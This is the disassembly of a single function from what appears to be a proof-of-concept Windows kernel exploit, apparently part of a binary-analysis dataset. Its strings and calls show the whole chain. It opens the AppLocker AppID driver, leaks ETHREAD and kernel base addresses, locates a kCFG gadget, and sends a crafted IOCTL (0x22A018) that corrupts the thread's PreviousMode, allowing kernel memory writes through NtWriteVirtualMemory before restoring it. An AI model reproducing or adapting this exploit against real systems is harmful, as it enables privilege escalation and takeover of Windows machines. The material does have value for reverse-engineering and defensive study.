Function at 0x1400111db
Capabilities:
Load ntoskrnl

Disassembly:
jmp 0x140020080
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1098
call fcn.1400111ae
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x2ee
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x10b8]
mov rax, qword [0x140038040]
xor rax, rbp
mov qword [rbp + 0x1020], rax
lea rcx, [0x140040167]
call fcn.140011933
nop
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x11c
rep stosb byte [rdi], al
mov qword [rbp + 0x148], 0
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x148]
mov rcx, qword [rbp + 0x1050]
call fcn.14001175d
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
jne 0x14002016e
lea rdx, str.Failed_to_allocate_the_correct_buffer_to_send_on_the_IOCTL_request.
lea rcx, [rbp + 0x8b8]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0x8f8]
call fcn.1400113b6
lea r9, [rbp + 0x8b8]
lea r8, [rbp + 0x8f8]
mov edx, 0xc
lea rcx, [0x1400384e0]
call fcn.1400118b1
nop
lea rcx, [rbp + 0x8b8]
call fcn.1400111b8
nop
xor al, al
jmp 0x140020b4a
lea rax, [rbp + 0x188]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rax, [rbp + 0x1d8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rdx, str.DeviceAppID
lea rcx, [rbp + 0x1d8]
call fcn.1400118f2
nop
mov dword [rbp + 0x188], 0x30
mov qword [rbp + 0x190], 0
mov dword [rbp + 0x1a0], 0x40
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1b0], 0
lea rax, [rbp + 0x208]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rbp + 0x238], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x208]
lea r8, [rbp + 0x188]
mov edx, 0xc0000000
lea rcx, [rbp + 0x238]
call qword [sym.imp.ntdll.dll_NtCreateFile]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
jge 0x1400202e3
lea rdx, str.Failed_to_open_a_handle_to_the_AppLocker_driver___ls___code:_0x_X_
lea rcx, [rbp + 0x928]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0x968]
call fcn.1400113b6
mov eax, dword [rbp + 0x254]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x928]
lea r8, [rbp + 0x968]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.140011875
nop
lea rcx, [rbp + 0x928]
call fcn.1400111b8
nop
xor al, al
jmp 0x140020b4a
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x1018], rax
lea rdx, str.AppLocker__AppId__handle_opened:_0x_p
lea rcx, [rbp + 0x998]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0x9d8]
call fcn.1400113b6
mov rax, qword [rbp + 0x1018]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x998]
lea r8, [rbp + 0x9d8]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.1400115c8
nop
lea rcx, [rbp + 0x998]
call fcn.1400111b8
nop
lea rdx, str.Leaking_the_current_ETHREAD_address.
lea rcx, [rbp + 0xa08]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xa48]
call fcn.1400113b6
lea r9, [rbp + 0xa08]
lea r8, [rbp + 0xa48]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.1400118b1
nop
lea rcx, [rbp + 0xa08]
call fcn.1400111b8
nop
mov rcx, qword [rbp + 0x1050]
call fcn.14001164a
mov qword [rbp + 0x278], rax
mov rcx, qword [rbp + 0x1050]
call fcn.1400116d1
mov qword [rbp + 0x298], rax
lea rdx, str.ntoskrnl.exe
mov rcx, qword [rbp + 0x1050]
call fcn.1400111b3
mov qword [rbp + 0x2b8], rax
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rbp + 0x2d8], rax
cmp qword [rbp + 0x278], 0
jne 0x140020481
cmp qword [rbp + 0x2b8], 0
jne 0x140020481
cmp qword [rbp + 0x2d8], 0
jne 0x140020481
cmp qword [rbp + 0x298], 0
jne 0x140020481
lea rdx, str.Failed_to_fetch_the_ETHREAD_FileObject_KernelBase_addresses.
lea rcx, [rbp + 0xa78]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xab8]
call fcn.1400113b6
lea r9, [rbp + 0xa78]
lea r8, [rbp + 0xab8]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.1400118b1
nop
lea rcx, [rbp + 0xa78]
call fcn.1400111b8
nop
xor al, al
jmp 0x140020b4a
lea rdx, str.ETHREAD_address_leaked:_0x_p
lea rcx, [rbp + 0xae8]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xb28]
call fcn.1400113b6
mov rax, qword [rbp + 0x278]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xae8]
lea r8, [rbp + 0xb28]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.140011889
nop
lea rcx, [rbp + 0xae8]
call fcn.1400111b8
nop
lea rdx, str.Feching_the_ExpProfileDelete__user_cfg_gadget__address.
lea rcx, [rbp + 0xb58]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xb98]
call fcn.1400113b6
lea r9, [rbp + 0xb58]
lea r8, [rbp + 0xb98]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.1400118b1
nop
lea rcx, [rbp + 0xb58]
call fcn.1400111b8
nop
mov rdx, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x1050]
call fcn.140011334
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x2b8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x278]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x338], rax
lea rdx, str.Current_ETHREAD_PreviousMode_address____0x_p
lea rcx, [rbp + 0xbc8]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xc08]
call fcn.1400113b6
mov rax, qword [rbp + 0x338]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xbc8]
lea r8, [rbp + 0xc08]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.140011889
nop
lea rcx, [rbp + 0xbc8]
call fcn.1400111b8
nop
lea rdx, str.File_object_address____0x_p
lea rcx, [rbp + 0xc38]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xc78]
call fcn.1400113b6
mov rax, qword [rbp + 0x298]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc38]
lea r8, [rbp + 0xc78]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.140011889
nop
lea rcx, [rbp + 0xc38]
call fcn.1400111b8
nop
lea rdx, str.kCFG_Kernel_Base_address____0x_p
lea rcx, [rbp + 0xca8]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xce8]
call fcn.1400113b6
mov rax, qword [rbp + 0x2b8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xca8]
lea r8, [rbp + 0xce8]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.140011889
nop
lea rcx, [rbp + 0xca8]
call fcn.1400111b8
nop
lea rdx, str.kCFG_User_Base_address____0x_p
lea rcx, [rbp + 0xd18]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xd58]
call fcn.1400113b6
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd18]
lea r8, [rbp + 0xd58]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.14001178f
nop
lea rcx, [rbp + 0xd18]
call fcn.1400111b8
nop
lea rdx, str.kCFG_Gadget_address____0x_p
lea rcx, [rbp + 0xd88]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xdc8]
call fcn.1400113b6
mov rax, qword [rbp + 0x318]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd88]
lea r8, [rbp + 0xdc8]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.140011889
nop
lea rcx, [rbp + 0xd88]
call fcn.1400111b8
nop
mov qword [rbp + 0x358], 0
lea rax, [rbp + 0x378]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
cmp dword [rbp + 0x1c], 0x55f0
jae 0x1400207fc
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x338]
add rax, 0x30
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3b8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x298]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x398]
lea rcx, [rbp + 0x378]
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x358], 0x18
jmp 0x140020879
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x338]
add rax, 0x30
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x298]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x3d8]
lea rcx, [rbp + 0x378]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0x3d8]
mov qword [rax + 0x18], 0
mov qword [rbp + 0x358], 0x20
lea rdx, str.Sending_IOCTL_request_to_0x22A018__AipSmartHashImageFile_
lea rcx, [rbp + 0xdf8]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xe38]
call fcn.1400113b6
lea r9, [rbp + 0xdf8]
lea r8, [rbp + 0xe38]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.1400118b1
nop
lea rcx, [rbp + 0xdf8]
call fcn.1400111b8
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x168], 0
je 0x140020a24
lea rdx, str.ioctl_buffer____0x_p_size:__d
lea rcx, [rbp + 0xe68]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xea8]
call fcn.1400113b6
mov rax, qword [rbp + 0x358]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x168]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe68]
lea r8, [rbp + 0xea8]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.140011884
nop
lea rcx, [rbp + 0xe68]
call fcn.1400111b8
nop
mov r9, qword [rbp + 0x358]
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x1050]
call fcn.1400112e9
movzx eax, al
test eax, eax
jne 0x140020988
xor al, al
jmp 0x140020b4a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, qword [rbp + 0x338]
mov rdx, qword [rbp + 0x418]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
nop
mov rax, qword [rbp + 0x418]
movzx eax, byte [rax]
mov byte [rbp + 0x1014], al
lea rdx, str.Current_PreviousMode_____d
lea rcx, [rbp + 0xed8]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xf18]
call fcn.1400113b6
movzx eax, byte [rbp + 0x1014]
mov byte [rsp + 0x20], al
lea r9, [rbp + 0xed8]
lea r8, [rbp + 0xf18]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.14001117c
nop
lea rcx, [rbp + 0xed8]
call fcn.1400111b8
nop
lea rdx, str.Restoring...
lea rcx, [rbp + 0xf48]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xf88]
call fcn.1400113b6
lea r9, [rbp + 0xf48]
lea r8, [rbp + 0xf88]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.1400118b1
nop
lea rcx, [rbp + 0xf48]
call fcn.1400111b8
nop
mov rax, qword [rbp + 0x418]
mov byte [rax], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, qword [rbp + 0x418]
mov rdx, qword [rbp + 0x338]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
nop
mov rax, qword [rbp + 0x418]
movzx eax, byte [rax]
mov byte [rbp + 0x1014], al
lea rdx, str.Current_PreviousMode_____d
lea rcx, [rbp + 0xfb8]
call fcn.14001141f
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xff8]
call fcn.1400113b6
movzx eax, byte [rbp + 0x1014]
mov byte [rsp + 0x20], al
lea r9, [rbp + 0xfb8]
lea r8, [rbp + 0xff8]
mov edx, 9
lea rcx, [0x1400384e0]
call fcn.14001117c
nop
lea rcx, [rbp + 0xfb8]
call fcn.1400111b8
nop
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x1400322e0]
call fcn.1400117b7
mov rax, rdi
mov rcx, qword [rbp + 0x1020]
xor rcx, rbp
call fcn.140011497
lea rsp, [rbp + 0x1038]
pop rdi
pop rbp
ret